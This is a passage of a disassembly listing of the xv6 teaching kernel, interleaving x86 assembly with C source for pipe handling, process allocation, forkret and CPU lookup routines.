c7 04 24 62 75 10 80 movl $0x80107562,(%esp) 80103134: e8 27 d2 ff ff call 80100360 <panic> 80103139: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if((mp = mpsearch()) == 0 || mp->physaddr == 0) return 0; conf = (struct mpconf*) P2V((uint) mp->physaddr); if(memcmp(conf, "PCMP", 4) != 0) return 0; if(conf->version != 1 && conf->version != 4) 80103140: 3c 01 cmp $0x1,%al 80103142: 0f 84 ed fe ff ff je 80103035 <mpinit+0x95> 80103148: eb e3 jmp 8010312d <mpinit+0x18d> ismp = 0; break; } } if(!ismp) panic("Didn't find a suitable machine"); 8010314a: c7 04 24 7c 75 10 80 movl $0x8010757c,(%esp) 80103151: e8 0a d2 ff ff call 80100360 <panic> 80103156: 66 90 xchg %ax,%ax 80103158: 66 90 xchg %ax,%ax 8010315a: 66 90 xchg %ax,%ax 8010315c: 66 90 xchg %ax,%ax 8010315e: 66 90 xchg %ax,%ax 80103160 <picinit>: #define IO_PIC2 0xA0 // Slave (IRQs 8-15) // Don't use the 8259A interrupt controllers. Xv6 assumes SMP hardware. void picinit(void) { 80103160: 55 push %ebp 80103161: ba 21 00 00 00 mov $0x21,%edx 80103166: 89 e5 mov %esp,%ebp 80103168: b8 ff ff ff ff mov $0xffffffff,%eax 8010316d: ee out %al,(%dx) 8010316e: b2 a1 mov $0xa1,%dl 80103170: ee out %al,(%dx) // mask all interrupts outb(IO_PIC1+1, 0xFF); outb(IO_PIC2+1, 0xFF); } 80103171: 5d pop %ebp 80103172: c3 ret 80103173: 66 90 xchg %ax,%ax 80103175: 66 90 xchg %ax,%ax 80103177: 66 90 xchg %ax,%ax 80103179: 66 90 xchg %ax,%ax 8010317b: 66 90 xchg %ax,%ax 8010317d: 66 90 xchg %ax,%ax 8010317f: 90 nop 80103180 <pipealloc>: int writeopen; // write fd is still open }; int pipealloc(struct file **f0, struct file **f1) { 80103180: 55 push %ebp 80103181: 89 e5 mov %esp,%ebp 80103183: 57 push %edi 80103184: 56 push %esi 80103185: 53 push %ebx 80103186: 83 ec 1c sub $0x1c,%esp 80103189: 8b 75 08 mov 0x8(%ebp),%esi 8010318c: 8b 5d 0c mov 0xc(%ebp),%ebx struct pipe *p; p = 0; *f0 = *f1 = 0; 8010318f: c7 03 00 00 00 00 movl $0x0,(%ebx) 80103195: c7 06 00 00 00 00 movl $0x0,(%esi) if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0) 8010319b: e8 d0 db ff ff call 80100d70 <filealloc> 801031a0: 85 c0 test %eax,%eax 801031a2: 89 06 mov %eax,(%esi) 801031a4: 0f 84 a4 00 00 00 je 8010324e <pipealloc+0xce> 801031aa: e8 c1 db ff ff call 80100d70 <filealloc> 801031af: 85 c0 test %eax,%eax 801031b1: 89 03 mov %eax,(%ebx) 801031b3: 0f 84 87 00 00 00 je 80103240 <pipealloc+0xc0> goto bad; if((p = (struct pipe*)kalloc()) == 0) 801031b9: e8 f2 f2 ff ff call 801024b0 <kalloc> 801031be: 85 c0 test %eax,%eax 801031c0: 89 c7 mov %eax,%edi 801031c2: 74 7c je 80103240 <pipealloc+0xc0> goto bad; p->readopen = 1; 801031c4: c7 80 3c 02 00 00 01 movl $0x1,0x23c(%eax) 801031cb: 00 00 00 p->writeopen = 1; 801031ce: c7 80 40 02 00 00 01 movl $0x1,0x240(%eax) 801031d5: 00 00 00 p->nwrite = 0; 801031d8: c7 80 38 02 00 00 00 movl $0x0,0x238(%eax) 801031df: 00 00 00 p->nread = 0; 801031e2: c7 80 34 02 00 00 00 movl $0x0,0x234(%eax) 801031e9: 00 00 00 initlock(&p->lock, "pipe"); 801031ec: 89 04 24 mov %eax,(%esp) 801031ef: c7 44 24 04 b0 75 10 movl $0x801075b0,0x4(%esp) 801031f6: 80 801031f7: e8 c4 0e 00 00 call 801040c0 <initlock> (*f0)->type = FD_PIPE; 801031fc: 8b 06 mov (%esi),%eax 801031fe: c7 00 01 00 00 00 movl $0x1,(%eax) (*f0)->readable = 1; 80103204: 8b 06 mov (%esi),%eax 80103206: c6 40 08 01 movb $0x1,0x8(%eax) (*f0)->writable = 0; 8010320a: 8b 06 mov (%esi),%eax 8010320c: c6 40 09 00 movb $0x0,0x9(%eax) (*f0)->pipe = p; 80103210: 8b 06 mov (%esi),%eax 80103212: 89 78 0c mov %edi,0xc(%eax) (*f1)->type = FD_PIPE; 80103215: 8b 03 mov (%ebx),%eax 80103217: c7 00 01 00 00 00 movl $0x1,(%eax) (*f1)->readable = 0; 8010321d: 8b 03 mov (%ebx),%eax 8010321f: c6 40 08 00 movb $0x0,0x8(%eax) (*f1)->writable = 1; 80103223: 8b 03 mov (%ebx),%eax 80103225: c6 40 09 01 movb $0x1,0x9(%eax) (*f1)->pipe = p; 80103229: 8b 03 mov (%ebx),%eax return 0; 8010322b: 31 db xor %ebx,%ebx (*f0)->writable = 0; (*f0)->pipe = p; (*f1)->type = FD_PIPE; (*f1)->readable = 0; (*f1)->writable = 1; (*f1)->pipe = p; 8010322d: 89 78 0c mov %edi,0xc(%eax) if(*f0) fileclose(*f0); if(*f1) fileclose(*f1); return -1; } 80103230: 83 c4 1c add $0x1c,%esp 80103233: 89 d8 mov %ebx,%eax 80103235: 5b pop %ebx 80103236: 5e pop %esi 80103237: 5f pop %edi 80103238: 5d pop %ebp 80103239: c3 ret 8010323a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi //PAGEBREAK: 20 bad: if(p) kfree((char*)p); if(*f0) 80103240: 8b 06 mov (%esi),%eax 80103242: 85 c0 test %eax,%eax 80103244: 74 08 je 8010324e <pipealloc+0xce> fileclose(*f0); 80103246: 89 04 24 mov %eax,(%esp) 80103249: e8 e2 db ff ff call 80100e30 <fileclose> if(*f1) 8010324e: 8b 03 mov (%ebx),%eax fileclose(*f1); return -1; 80103250: bb ff ff ff ff mov $0xffffffff,%ebx bad: if(p) kfree((char*)p); if(*f0) fileclose(*f0); if(*f1) 80103255: 85 c0 test %eax,%eax 80103257: 74 d7 je 80103230 <pipealloc+0xb0> fileclose(*f1); 80103259: 89 04 24 mov %eax,(%esp) 8010325c: e8 cf db ff ff call 80100e30 <fileclose> return -1; } 80103261: 83 c4 1c add $0x1c,%esp 80103264: 89 d8 mov %ebx,%eax 80103266: 5b pop %ebx 80103267: 5e pop %esi 80103268: 5f pop %edi 80103269: 5d pop %ebp 8010326a: c3 ret 8010326b: 90 nop 8010326c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103270 <pipeclose>: void pipeclose(struct pipe *p, int writable) { 80103270: 55 push %ebp 80103271: 89 e5 mov %esp,%ebp 80103273: 56 push %esi 80103274: 53 push %ebx 80103275: 83 ec 10 sub $0x10,%esp 80103278: 8b 5d 08 mov 0x8(%ebp),%ebx 8010327b: 8b 75 0c mov 0xc(%ebp),%esi acquire(&p->lock); 8010327e: 89 1c 24 mov %ebx,(%esp) 80103281: e8 aa 0f 00 00 call 80104230 <acquire> if(writable){ 80103286: 85 f6 test %esi,%esi 80103288: 74 3e je 801032c8 <pipeclose+0x58> p->writeopen = 0; wakeup(&p->nread); 8010328a: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax void pipeclose(struct pipe *p, int writable) { acquire(&p->lock); if(writable){ p->writeopen = 0; 80103290: c7 83 40 02 00 00 00 movl $0x0,0x240(%ebx) 80103297: 00 00 00 wakeup(&p->nread); 8010329a: 89 04 24 mov %eax,(%esp) 8010329d: e8 2e 0b 00 00 call 80103dd0 <wakeup> } else { p->readopen = 0; wakeup(&p->nwrite); } if(p->readopen == 0 && p->writeopen == 0){ 801032a2: 8b 93 3c 02 00 00 mov 0x23c(%ebx),%edx 801032a8: 85 d2 test %edx,%edx 801032aa: 75 0a jne 801032b6 <pipeclose+0x46> 801032ac: 8b 83 40 02 00 00 mov 0x240(%ebx),%eax 801032b2: 85 c0 test %eax,%eax 801032b4: 74 32 je 801032e8 <pipeclose+0x78> release(&p->lock); kfree((char*)p); } else release(&p->lock); 801032b6: 89 5d 08 mov %ebx,0x8(%ebp) } 801032b9: 83 c4 10 add $0x10,%esp 801032bc: 5b pop %ebx 801032bd: 5e pop %esi 801032be: 5d pop %ebp } if(p->readopen == 0 && p->writeopen == 0){ release(&p->lock); kfree((char*)p); } else release(&p->lock); 801032bf: e9 dc 0f 00 00 jmp 801042a0 <release> 801032c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(writable){ p->writeopen = 0; wakeup(&p->nread); } else { p->readopen = 0; wakeup(&p->nwrite); 801032c8: 8d 83 38 02 00 00 lea 0x238(%ebx),%eax acquire(&p->lock); if(writable){ p->writeopen = 0; wakeup(&p->nread); } else { p->readopen = 0; 801032ce: c7 83 3c 02 00 00 00 movl $0x0,0x23c(%ebx) 801032d5: 00 00 00 wakeup(&p->nwrite); 801032d8: 89 04 24 mov %eax,(%esp) 801032db: e8 f0 0a 00 00 call 80103dd0 <wakeup> 801032e0: eb c0 jmp 801032a2 <pipeclose+0x32> 801032e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } if(p->readopen == 0 && p->writeopen == 0){ release(&p->lock); 801032e8: 89 1c 24 mov %ebx,(%esp) 801032eb: e8 b0 0f 00 00 call 801042a0 <release> kfree((char*)p); 801032f0: 89 5d 08 mov %ebx,0x8(%ebp) } else release(&p->lock); } 801032f3: 83 c4 10 add $0x10,%esp 801032f6: 5b pop %ebx 801032f7: 5e pop %esi 801032f8: 5d pop %ebp p->readopen = 0; wakeup(&p->nwrite); } if(p->readopen == 0 && p->writeopen == 0){ release(&p->lock); kfree((char*)p); 801032f9: e9 02 f0 ff ff jmp 80102300 <kfree> 801032fe: 66 90 xchg %ax,%ax 80103300 <pipewrite>: } //PAGEBREAK: 40 int pipewrite(struct pipe *p, char *addr, int n) { 80103300: 55 push %ebp 80103301: 89 e5 mov %esp,%ebp 80103303: 57 push %edi 80103304: 56 push %esi 80103305: 53 push %ebx 80103306: 83 ec 1c sub $0x1c,%esp 80103309: 8b 5d 08 mov 0x8(%ebp),%ebx int i; acquire(&p->lock); 8010330c: 89 1c 24 mov %ebx,(%esp) 8010330f: e8 1c 0f 00 00 call 80104230 <acquire> for(i = 0; i < n; i++){ 80103314: 8b 4d 10 mov 0x10(%ebp),%ecx 80103317: 85 c9 test %ecx,%ecx 80103319: 0f 8e b2 00 00 00 jle 801033d1 <pipewrite+0xd1> 8010331f: 8b 4d 0c mov 0xc(%ebp),%ecx while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full if(p->readopen == 0 || myproc()->killed){ release(&p->lock); return -1; } wakeup(&p->nread); 80103322: 8d bb 34 02 00 00 lea 0x234(%ebx),%edi 80103328: 8b 83 38 02 00 00 mov 0x238(%ebx),%eax sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep 8010332e: 8d b3 38 02 00 00 lea 0x238(%ebx),%esi 80103334: 89 4d e4 mov %ecx,-0x1c(%ebp) 80103337: 03 4d 10 add 0x10(%ebp),%ecx 8010333a: 89 4d e0 mov %ecx,-0x20(%ebp) { int i; acquire(&p->lock); for(i = 0; i < n; i++){ while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 8010333d: 8b 8b 34 02 00 00 mov 0x234(%ebx),%ecx 80103343: 81 c1 00 02 00 00 add $0x200,%ecx 80103349: 39 c8 cmp %ecx,%eax 8010334b: 74 38 je 80103385 <pipewrite+0x85> 8010334d: eb 55 jmp 801033a4 <pipewrite+0xa4> 8010334f: 90 nop if(p->readopen == 0 || myproc()->killed){ 80103350: e8 5b 03 00 00 call 801036b0 <myproc> 80103355: 8b 40 24 mov 0x24(%eax),%eax 80103358: 85 c0 test %eax,%eax 8010335a: 75 33 jne 8010338f <pipewrite+0x8f> release(&p->lock); return -1; } wakeup(&p->nread); 8010335c: 89 3c 24 mov %edi,(%esp) 8010335f: e8 6c 0a 00 00 call 80103dd0 <wakeup> sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep 80103364: 89 5c 24 04 mov %ebx,0x4(%esp) 80103368: 89 34 24 mov %esi,(%esp) 8010336b: e8 c0 08 00 00 call 80103c30 <sleep> { int i; acquire(&p->lock); for(i = 0; i < n; i++){ while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 80103370: 8b 83 34 02 00 00 mov 0x234(%ebx),%eax 80103376: 8b 93 38 02 00 00 mov 0x238(%ebx),%edx 8010337c: 05 00 02 00 00 add $0x200,%eax 80103381: 39 c2 cmp %eax,%edx 80103383: 75 23 jne 801033a8 <pipewrite+0xa8> if(p->readopen == 0 || myproc()->killed){ 80103385: 8b 93 3c 02 00 00 mov 0x23c(%ebx),%edx 8010338b: 85 d2 test %edx,%edx 8010338d: 75 c1 jne 80103350 <pipewrite+0x50> release(&p->lock); 8010338f: 89 1c 24 mov %ebx,(%esp) 80103392: e8 09 0f 00 00 call 801042a0 <release> return -1; 80103397: b8 ff ff ff ff mov $0xffffffff,%eax p->data[p->nwrite++ % PIPESIZE] = addr[i]; } wakeup(&p->nread); //DOC: pipewrite-wakeup1 release(&p->lock); return n; } 8010339c: 83 c4 1c add $0x1c,%esp 8010339f: 5b pop %ebx 801033a0: 5e pop %esi 801033a1: 5f pop %edi 801033a2: 5d pop %ebp 801033a3: c3 ret { int i; acquire(&p->lock); for(i = 0; i < n; i++){ while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 801033a4: 89 c2 mov %eax,%edx 801033a6: 66 90 xchg %ax,%ax return -1; } wakeup(&p->nread); sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep } p->data[p->nwrite++ % PIPESIZE] = addr[i]; 801033a8: 8b 4d e4 mov -0x1c(%ebp),%ecx 801033ab: 8d 42 01 lea 0x1(%edx),%eax 801033ae: 81 e2 ff 01 00 00 and $0x1ff,%edx 801033b4: 89 83 38 02 00 00 mov %eax,0x238(%ebx) 801033ba: 83 45 e4 01 addl $0x1,-0x1c(%ebp) 801033be: 0f b6 09 movzbl (%ecx),%ecx 801033c1: 88 4c 13 34 mov %cl,0x34(%ebx,%edx,1) pipewrite(struct pipe *p, char *addr, int n) { int i; acquire(&p->lock); for(i = 0; i < n; i++){ 801033c5: 8b 4d e4 mov -0x1c(%ebp),%ecx 801033c8: 3b 4d e0 cmp -0x20(%ebp),%ecx 801033cb: 0f 85 6c ff ff ff jne 8010333d <pipewrite+0x3d> wakeup(&p->nread); sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep } p->data[p->nwrite++ % PIPESIZE] = addr[i]; } wakeup(&p->nread); //DOC: pipewrite-wakeup1 801033d1: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax 801033d7: 89 04 24 mov %eax,(%esp) 801033da: e8 f1 09 00 00 call 80103dd0 <wakeup> release(&p->lock); 801033df: 89 1c 24 mov %ebx,(%esp) 801033e2: e8 b9 0e 00 00 call 801042a0 <release> return n; 801033e7: 8b 45 10 mov 0x10(%ebp),%eax 801033ea: eb b0 jmp 8010339c <pipewrite+0x9c> 801033ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801033f0 <piperead>: } int piperead(struct pipe *p, char *addr, int n) { 801033f0: 55 push %ebp 801033f1: 89 e5 mov %esp,%ebp 801033f3: 57 push %edi 801033f4: 56 push %esi 801033f5: 53 push %ebx 801033f6: 83 ec 1c sub $0x1c,%esp 801033f9: 8b 75 08 mov 0x8(%ebp),%esi 801033fc: 8b 7d 0c mov 0xc(%ebp),%edi int i; acquire(&p->lock); 801033ff: 89 34 24 mov %esi,(%esp) 80103402: e8 29 0e 00 00 call 80104230 <acquire> while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty 80103407: 8b 86 34 02 00 00 mov 0x234(%esi),%eax 8010340d: 3b 86 38 02 00 00 cmp 0x238(%esi),%eax 80103413: 75 5b jne 80103470 <piperead+0x80> 80103415: 8b 9e 40 02 00 00 mov 0x240(%esi),%ebx 8010341b: 85 db test %ebx,%ebx 8010341d: 74 51 je 80103470 <piperead+0x80> if(myproc()->killed){ release(&p->lock); return -1; } sleep(&p->nread, &p->lock); //DOC: piperead-sleep 8010341f: 8d 9e 34 02 00 00 lea 0x234(%esi),%ebx 80103425: eb 25 jmp 8010344c <piperead+0x5c> 80103427: 90 nop 80103428: 89 74 24 04 mov %esi,0x4(%esp) 8010342c: 89 1c 24 mov %ebx,(%esp) 8010342f: e8 fc 07 00 00 call 80103c30 <sleep> piperead(struct pipe *p, char *addr, int n) { int i; acquire(&p->lock); while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty 80103434: 8b 86 34 02 00 00 mov 0x234(%esi),%eax 8010343a: 3b 86 38 02 00 00 cmp 0x238(%esi),%eax 80103440: 75 2e jne 80103470 <piperead+0x80> 80103442: 8b 96 40 02 00 00 mov 0x240(%esi),%edx 80103448: 85 d2 test %edx,%edx 8010344a: 74 24 je 80103470 <piperead+0x80> if(myproc()->killed){ 8010344c: e8 5f 02 00 00 call 801036b0 <myproc> 80103451: 8b 48 24 mov 0x24(%eax),%ecx 80103454: 85 c9 test %ecx,%ecx 80103456: 74 d0 je 80103428 <piperead+0x38> release(&p->lock); 80103458: 89 34 24 mov %esi,(%esp) 8010345b: e8 40 0e 00 00 call 801042a0 <release> addr[i] = p->data[p->nread++ % PIPESIZE]; } wakeup(&p->nwrite); //DOC: piperead-wakeup release(&p->lock); return i; } 80103460: 83 c4 1c add $0x1c,%esp acquire(&p->lock); while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty if(myproc()->killed){ release(&p->lock); return -1; 80103463: b8 ff ff ff ff mov $0xffffffff,%eax addr[i] = p->data[p->nread++ % PIPESIZE]; } wakeup(&p->nwrite); //DOC: piperead-wakeup release(&p->lock); return i; } 80103468: 5b pop %ebx 80103469: 5e pop %esi 8010346a: 5f pop %edi 8010346b: 5d pop %ebp 8010346c: c3 ret 8010346d: 8d 76 00 lea 0x0(%esi),%esi release(&p->lock); return -1; } sleep(&p->nread, &p->lock); //DOC: piperead-sleep } for(i = 0; i < n; i++){ //DOC: piperead-copy 80103470: 8b 55 10 mov 0x10(%ebp),%edx if(p->nread == p->nwrite) 80103473: 31 db xor %ebx,%ebx release(&p->lock); return -1; } sleep(&p->nread, &p->lock); //DOC: piperead-sleep } for(i = 0; i < n; i++){ //DOC: piperead-copy 80103475: 85 d2 test %edx,%edx 80103477: 7f 2b jg 801034a4 <piperead+0xb4> 80103479: eb 31 jmp 801034ac <piperead+0xbc> 8010347b: 90 nop 8010347c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(p->nread == p->nwrite) break; addr[i] = p->data[p->nread++ % PIPESIZE]; 80103480: 8d 48 01 lea 0x1(%eax),%ecx 80103483: 25 ff 01 00 00 and $0x1ff,%eax 80103488: 89 8e 34 02 00 00 mov %ecx,0x234(%esi) 8010348e: 0f b6 44 06 34 movzbl 0x34(%esi,%eax,1),%eax 80103493: 88 04 1f mov %al,(%edi,%ebx,1) release(&p->lock); return -1; } sleep(&p->nread, &p->lock); //DOC: piperead-sleep } for(i = 0; i < n; i++){ //DOC: piperead-copy 80103496: 83 c3 01 add $0x1,%ebx 80103499: 3b 5d 10 cmp 0x10(%ebp),%ebx 8010349c: 74 0e je 801034ac <piperead+0xbc> if(p->nread == p->nwrite) 8010349e: 8b 86 34 02 00 00 mov 0x234(%esi),%eax 801034a4: 3b 86 38 02 00 00 cmp 0x238(%esi),%eax 801034aa: 75 d4 jne 80103480 <piperead+0x90> break; addr[i] = p->data[p->nread++ % PIPESIZE]; } wakeup(&p->nwrite); //DOC: piperead-wakeup 801034ac: 8d 86 38 02 00 00 lea 0x238(%esi),%eax 801034b2: 89 04 24 mov %eax,(%esp) 801034b5: e8 16 09 00 00 call 80103dd0 <wakeup> release(&p->lock); 801034ba: 89 34 24 mov %esi,(%esp) 801034bd: e8 de 0d 00 00 call 801042a0 <release> return i; } 801034c2: 83 c4 1c add $0x1c,%esp break; addr[i] = p->data[p->nread++ % PIPESIZE]; } wakeup(&p->nwrite); //DOC: piperead-wakeup release(&p->lock); return i; 801034c5: 89 d8 mov %ebx,%eax } 801034c7: 5b pop %ebx 801034c8: 5e pop %esi 801034c9: 5f pop %edi 801034ca: 5d pop %ebp 801034cb: c3 ret 801034cc: 66 90 xchg %ax,%ax 801034ce: 66 90 xchg %ax,%ax 801034d0 <allocproc>: // If found, change state to EMBRYO and initialize // state required to run in the kernel. // Otherwise return 0. static struct proc* allocproc(void) { 801034d0: 55 push %ebp 801034d1: 89 e5 mov %esp,%ebp 801034d3: 53 push %ebx struct proc *p; char *sp; acquire(&ptable.lock); for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 801034d4: bb 54 2d 11 80 mov $0x80112d54,%ebx // If found, change state to EMBRYO and initialize // state required to run in the kernel. // Otherwise return 0. static struct proc* allocproc(void) { 801034d9: 83 ec 14 sub $0x14,%esp struct proc *p; char *sp; acquire(&ptable.lock); 801034dc: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 801034e3: e8 48 0d 00 00 call 80104230 <acquire> 801034e8: eb 14 jmp 801034fe <allocproc+0x2e> 801034ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 801034f0: 81 c3 84 00 00 00 add $0x84,%ebx 801034f6: 81 fb 54 4e 11 80 cmp $0x80114e54,%ebx 801034fc: 74 7a je 80103578 <allocproc+0xa8> if(p->state == UNUSED) 801034fe: 8b 43 0c mov 0xc(%ebx),%eax 80103501: 85 c0 test %eax,%eax 80103503: 75 eb jne 801034f0 <allocproc+0x20> release(&ptable.lock); return 0; found: p->state = EMBRYO; p->pid = nextpid++; 80103505: a1 04 a0 10 80 mov 0x8010a004,%eax release(&ptable.lock); 8010350a: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) release(&ptable.lock); return 0; found: p->state = EMBRYO; 80103511: c7 43 0c 01 00 00 00 movl $0x1,0xc(%ebx) p->pid = nextpid++; 80103518: 8d 50 01 lea 0x1(%eax),%edx 8010351b: 89 15 04 a0 10 80 mov %edx,0x8010a004 80103521: 89 43 10 mov %eax,0x10(%ebx) release(&ptable.lock); 80103524: e8 77 0d 00 00 call 801042a0 <release> // Allocate kernel stack. if((p->kstack = kalloc()) == 0){ 80103529: e8 82 ef ff ff call 801024b0 <kalloc> 8010352e: 85 c0 test %eax,%eax 80103530: 89 43 08 mov %eax,0x8(%ebx) 80103533: 74 57 je 8010358c <allocproc+0xbc> return 0; } sp = p->kstack + KSTACKSIZE; // Leave room for trap frame. sp -= sizeof *p->tf; 80103535: 8d 90 b4 0f 00 00 lea 0xfb4(%eax),%edx // Set up new context to start executing at forkret, // which returns to trapret. sp -= 4; *(uint*)sp = (uint)trapret; sp -= sizeof *p->context; 8010353b: 05 9c 0f 00 00 add $0xf9c,%eax return 0; } sp = p->kstack + KSTACKSIZE; // Leave room for trap frame. sp -= sizeof *p->tf; 80103540: 89 53 18 mov %edx,0x18(%ebx) p->tf = (struct trapframe*)sp; // Set up new context to start executing at forkret, // which returns to trapret. sp -= 4; *(uint*)sp = (uint)trapret; 80103543: c7 40 14 39 58 10 80 movl $0x80105839,0x14(%eax) sp -= sizeof *p->context; p->context = (struct context*)sp; memset(p->context, 0, sizeof *p->context); 8010354a: c7 44 24 08 14 00 00 movl $0x14,0x8(%esp) 80103551: 00 80103552: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80103559: 00 8010355a: 89 04 24 mov %eax,(%esp) // which returns to trapret. sp -= 4; *(uint*)sp = (uint)trapret; sp -= sizeof *p->context; p->context = (struct context*)sp; 8010355d: 89 43 1c mov %eax,0x1c(%ebx) memset(p->context, 0, sizeof *p->context); 80103560: e8 8b 0d 00 00 call 801042f0 <memset> p->context->eip = (uint)forkret; 80103565: 8b 43 1c mov 0x1c(%ebx),%eax 80103568: c7 40 10 a0 35 10 80 movl $0x801035a0,0x10(%eax) return p; 8010356f: 89 d8 mov %ebx,%eax } 80103571: 83 c4 14 add $0x14,%esp 80103574: 5b pop %ebx 80103575: 5d pop %ebp 80103576: c3 ret 80103577: 90 nop for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) if(p->state == UNUSED) goto found; release(&ptable.lock); 80103578: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 8010357f: e8 1c 0d 00 00 call 801042a0 <release> p->context = (struct context*)sp; memset(p->context, 0, sizeof *p->context); p->context->eip = (uint)forkret; return p; } 80103584: 83 c4 14 add $0x14,%esp for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) if(p->state == UNUSED) goto found; release(&ptable.lock); return 0; 80103587: 31 c0 xor %eax,%eax p->context = (struct context*)sp; memset(p->context, 0, sizeof *p->context); p->context->eip = (uint)forkret; return p; } 80103589: 5b pop %ebx 8010358a: 5d pop %ebp 8010358b: c3 ret release(&ptable.lock); // Allocate kernel stack. if((p->kstack = kalloc()) == 0){ p->state = UNUSED; 8010358c: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) return 0; 80103593: eb dc jmp 80103571 <allocproc+0xa1> 80103595: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103599: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801035a0 <forkret>: // A fork child's very first scheduling by scheduler() // will swtch here. "Return" to user space. void forkret(void) { 801035a0: 55 push %ebp 801035a1: 89 e5 mov %esp,%ebp 801035a3: 83 ec 18 sub $0x18,%esp static int first = 1; // Still holding ptable.lock from scheduler. release(&ptable.lock); 801035a6: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 801035ad: e8 ee 0c 00 00 call 801042a0 <release> if (first) { 801035b2: a1 00 a0 10 80 mov 0x8010a000,%eax 801035b7: 85 c0 test %eax,%eax 801035b9: 75 05 jne 801035c0 <forkret+0x20> iinit(ROOTDEV); initlog(ROOTDEV); } // Return to "caller", actually trapret (see allocproc). } 801035bb: c9 leave 801035bc: c3 ret 801035bd: 8d 76 00 lea 0x0(%esi),%esi if (first) { // Some initialization functions must be run in the context // of a regular process (e.g., they call sleep), and thus cannot // be run from main(). first = 0; iinit(ROOTDEV); 801035c0: c7 04 24 01 00 00 00 movl $0x1,(%esp) if (first) { // Some initialization functions must be run in the context // of a regular process (e.g., they call sleep), and thus cannot // be run from main(). first = 0; 801035c7: c7 05 00 a0 10 80 00 movl $0x0,0x8010a000 801035ce: 00 00 00 iinit(ROOTDEV); 801035d1: e8 aa de ff ff call 80101480 <iinit> initlog(ROOTDEV); 801035d6: c7 04 24 01 00 00 00 movl $0x1,(%esp) 801035dd: e8 9e f4 ff ff call 80102a80 <initlog> } // Return to "caller", actually trapret (see allocproc). } 801035e2: c9 leave 801035e3: c3 ret 801035e4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801035ea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801035f0 <pinit>: static void wakeup1(void *chan); void pinit(void) { 801035f0: 55 push %ebp 801035f1: 89 e5 mov %esp,%ebp 801035f3: 83 ec 18 sub $0x18,%esp initlock(&ptable.lock, "ptable"); 801035f6: c7 44 24 04 b5 75 10 movl $0x801075b5,0x4(%esp) 801035fd: 80 801035fe: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103605: e8 b6 0a 00 00 call 801040c0 <initlock> } 8010360a: c9 leave 8010360b: c3 ret 8010360c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103610 <mycpu>: // Must be called with interrupts disabled to avoid the caller being // rescheduled between reading lapicid and running through the loop. struct cpu* mycpu(void) { 80103610: 55 push %ebp 80103611: 89 e5 mov %esp,%ebp 80103613: 56 push %esi 80103614: 53 push %ebx 80103615: 83 ec 10 sub $0x10,%esp static inline uint readeflags(void) { uint eflags; asm volatile("pushfl; popl %0" : "=r" (eflags)); 80103618: 9c pushf 80103619: 58 pop %eax int apicid, i; if(readeflags()&FL_IF) 8010361a: f6 c4 02 test $0x2,%ah 8010361d: 75 57 jne 80103676 <mycpu+0x66> panic("mycpu called with interrupts enabled\n"); apicid = lapicid(); 8010361f: e8 4c f1 ff ff call 80102770 <lapicid> // APIC IDs are not guaranteed to be contiguous. Maybe we should have // a reverse map, or reserve a register to store &cpus[i]. for (i = 0; i < ncpu; ++i) { 80103624: 8b 35 00 2d 11 80 mov 0x80112d00,%esi 8010362a: 85 f6 test %esi,%esi 8010362c: 7e 3c jle 8010366a <mycpu+0x5a> if (cpus[i].apicid == apicid) 8010362e: 0f b6 15 80 27 11 80 movzbl 0x80112780,%edx 80103635: 39 c2 cmp %eax,%edx 80103637: 74 2d je 80103666 <mycpu+0x56> 80103639: b9 30 28 11 80 mov $0x80112830,%ecx panic("mycpu called with interrupts enabled\n"); apicid = lapicid(); // APIC IDs are not guaranteed to be contiguous. Maybe we should have // a reverse map, or reserve a register to store &cpus[i]. for (i = 0; i < ncpu; ++i) { 8010363e: 31 d2 xor %edx,%edx 80103640: 83 c2 01 add $0x1,%edx 80103643: 39 f2 cmp %esi,%edx 80103645: 74 23 je 8010366a <mycpu+0x5a> if (cpus[i].apicid == apicid) 80103647: 0f b6 19 movzbl (%ecx),%ebx 8010364a: 81 c1 b0 00 00 00 add $0xb0,%ecx 80103650: 39 c3 cmp %eax,%ebx 80103652: 75 ec jne 80103640 <mycpu+0x30> return &cpus[i]; 80103654: 69 c2 b0 00 00 00 imul $0xb0,%edx,%eax } panic("unknown apicid\n"); } 8010365a: 83 c4 10 add $0x10,%esp 8010365d: 5b pop %ebx 8010365e: 5e pop %esi 8010365f: 5d pop %ebp apicid = lapicid(); // APIC IDs are not guaranteed to be contiguous. Maybe we should have // a reverse map, or reserve a register to store &cpus[i]. for (i = 0; i < ncpu; ++i) { 